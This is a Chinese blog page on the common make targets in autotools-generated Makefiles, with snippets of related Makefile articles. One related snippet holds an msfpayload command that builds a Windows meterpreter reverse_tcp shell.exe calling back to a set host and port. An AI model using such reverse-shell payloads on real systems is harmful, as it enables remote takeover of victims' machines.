autotools 生成的makefile 常用 目标

make all

不加任何 target , 默认就是 all, 作用是编译软件

make install

安装软件包,如果安装到系统目录,需要 root 权限

make clean

清除编译产生的目标文件

make distclean

可以同时清除编译的结果和 configure 输出的文件

make tags

生成 etags 使用的 TAGS 文件

make dist

生成软件发布包,为 tar.gz 格式的压缩包,文件名由软件包名和版本组成

版权声明:本文为博主原创文章,未经博主允许不得转载。

时间: 2024-10-12 16:42:44

autotools 生成的makefile 常用 目标的相关文章

第3课 - makefile伪目标的引入

第3课 - makefile伪目标的引入 1. makefile中的目标究竟是什么? (1)默认情况下,make认为目标对应着一个文件 →  目标即文件名 (2)make首先会检测目标对应的文件是否存在,若不存在则执行依赖和命令.若存在则会比较目标文件和依赖文件的新旧关系,决定是否执行命令. (3)make以文件处理作为第一优先级 2. 伪目标的引入 下面的代码有什么意义? clean : rm *.o hello.out ↓ make clean 执行make clean会将第2课中编译生成的

Makefile 文件格式;makefile伪目标

Makefile包含 目标文件.依赖文件.可运行命令三部分. 每部分的基本格式例如以下: test: prog.o  code.o gcc  -o  test   prog.o   code.o 当中,第一行的test是目标文件. prog.o.code.o是依赖文件: 第二行的gcc -o test prog.o code.o是可运行命令. 整个Makefile文件都是这样的格式. 参考链接: https://blog.csdn.net/haoel/article/details/2886 M

makefile常用指令和常见变量。

引用文章A:http://blog.csdn.net/liang13664759/article/details/1771246 文章介绍:非常详细的文章,讲解上都是比较基础的知识. 本文可能会持续更新部分引用文章.但博文本身更新内容并不会太多.主要因为个人写作水平问题,并不适合讲解专业性质的知识,容易误人子弟. 文章中会记录一些比较常用的指令和函数,方便快速查找. 一,基本使用. makefile基本依赖规则:默认情况下,会找到第一个目标指令,然后检测其对应依赖,然后进行初步的索引和指令执行(

Makefile常用万能模板(包括静态链接库、动态链接库、可执行文件)

本文把makefile 分成了三份:生成可执行文件的makefile,生成静态链接库的makefile,生成动态链接库的makefile. 这些makefile都很简单,一般都是一看就会用,用法也很容易,只需要把它们拷贝到你的代码的同一目录下,然后就可以用 make 来生成目标文件了. 下面是三个makefile的源代码: 1.生成可执行文件的makefile ###################################### # ###########################

kali生成shell监听目标主机

生成监听用的shell.exe: reverse_tcp(反向连接) path : payload/windows/meterpreter/reverse_tcp msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=8080 X > -/Desktop/shell.exe reverse_http/https(反向连接) path:payload/windows/meterpreter/reverse_http/h

Makefile常用函数

1. 格式 Makefile 中函数的调用格式如下: $(function arguments) 其中,function 为函数名,arguments 为参数. 函数名与参数之间由空格或Tab分隔,如果有多个参数,这些参数之间由逗号分隔. 2. 常用函数介绍 内核的 Makefile 中用到大量的函数,以下介绍一些常用的函数. 2.1 字符串替换和分析函数 $(subst from,to,text) 其中,subst 为 substitude(v 替代) 的缩写. 功能:在字符串 text 中,

Makefile伪目标

本节我们讨论一个Makefile中的一个重要的特殊目标:伪目标. 伪目标是这样一个目标:它不代表一个真正的文件名,在执行make时可以指定这个目标来执行其所在规则定义的命令,有时我们也可以将一个伪目标称为标签.使用伪目标有两点原因: 1. 避免在我们的Makefile中定义的只执行命令的的目标(此目标的目的为了执行执行一系列命令,而不需要创建这个目标)和工作目录下的实际文件出现名字冲突. 2. 提高执行make时的效率,特别是对于一个大型的工程来说,编译的效率也许你同样关心. 以下就这两个问题我

[skill][makefile] makefile 常用内容记录

其实,makefile有点复杂. 文档看了又看,还是要经常翻,做个记录备忘 :) 1.  隐含命令 implicit rules 与 implicit rule 相对应的有 pattern rules 和 suffix rules Compiling C programs n.o is made automatically from n.c with a recipe of the form '$(CC) $(CPPFLAGS) $(CFLAGS) -c'. Compiling C++ prog

生成类中常用的引用命名空间

我们无论用哪个版本的VS开发工具,在新建立一个类文件之后,首先看到行就是一系列的Using引用代码.从学习的角度来讲,如果想真正深入理解和掌握DotNet开发框架,那么就应该清楚这些常用命名空间的意思以及他们的作用和意义,对我们以后深入学习有莫大的帮助.本人学习Fromwork4.0,总结如下:     1.命名空间是.NET程序在逻辑上的组织结构,而并非实际的物理结构,是一种避免类名冲突的方法,用于将不同的数据类型组合划分的方式.例如,在.NET中很多的基本类型都位于System命名空间,数据